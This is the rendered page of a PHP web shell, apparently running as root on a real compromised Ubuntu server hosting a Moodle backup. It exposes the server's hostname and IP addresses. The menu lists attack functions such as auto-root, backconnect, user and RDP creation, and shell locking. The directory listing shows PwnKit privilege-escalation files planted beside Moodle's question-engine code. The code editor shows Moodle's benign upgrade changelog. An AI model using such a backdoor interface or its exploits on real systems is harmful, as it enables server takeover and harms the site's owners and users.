Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
question /
engine /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxr-x
upgrade
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
bank.php
23.92
KB
-rw-rw-r--
datalib.php
70.47
KB
-rw-rw-r--
lib.php
44.96
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
questionattempt.php
68.95
KB
-rw-rw-r--
questionattemptstep.php
26.61
KB
-rw-rw-r--
questionusage.php
45.39
KB
-rw-rw-r--
renderer.php
21.16
KB
-rw-rw-r--
states.php
13.53
KB
-rw-rw-r--
statisticslib.php
1.93
KB
-rw-rw-r--
upgrade.txt
2.79
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgrade.txt
This files describes API changes for the core question engine. === 3.1, 3.0.3, 2.9.5 === 1) The field question_display_options::$extrainfocontent is now displayed in the outcomes (yellow) div by default. It used to be in the info div. If you have overriden the question renderer, you may need to make a corresponding change. === 3.0, 2.9.2, 2.8.8 === 1) The extra internal PARAM constant question_attempt::PARAM_MARK should no longer be used. (It should not have been used outside the core of the question system). See MDL-51090 if you want more explanation. === 2.9 === 1) Some new methods on the question_usage class (and corresponding methods on question_attempt, question_attempt_step, question_usage_observer, ... requried to implement them, but almost certainly you should only be calling the question_usage methods from your code. * question_usage::add_question_in_place_of_other($slot, $question, $maxmark = null) This creates a new questoin_attempt in place of an existing one, moving the existing question_attempt to the end of the usage, in a new slot number. The new slot number is returned. The goal is to replace the old attempt, but not lose the old data. * question_usage::set_question_max_mark($slot, $maxmark) Sets the max mark for one question in this usage. Previously, you could only change this using the bulk operation question_usage::set_max_mark_in_attempts; * question_usage::set_question_attempt_metadata($slot, $name, $value); question_usage::get_question_attempt_metadata($slot, $name); You can now record metadata, that is, values stored by name, against question_attempts. The question engine ignores this data (other than storing and loading it) but you may find it useful in your code. To see examples of where these are used, look at the chagnes from MDL-40992. 2) New fields in question_display_options, ->extrainfocontent and ->extrahistorycontent. These default to blank, but can be used to inject extra content into those parts of the question display. If you have overridden the methods in core_question_renderer that use these fields, you may need to update your renderer. === 2.6 === 1) The method question_behaviour::is_manual_grade_in_range and move and become question_engine::is_manual_grade_in_range. 2) The arguments to core_question_renderer::mark_summary changed from ($qa, $options) to ($qa, $behaviouroutput, $options). If you have overridden that method you will need to update your code. 3) Heading level for number(), add_part_heading() and respond_history() has been lowered by one level. These changes are part of improving the page accessibility and making heading to have proper nesting. (MDL-41615) === Earlier changes === * Were not documented in this way. Sorry.
Close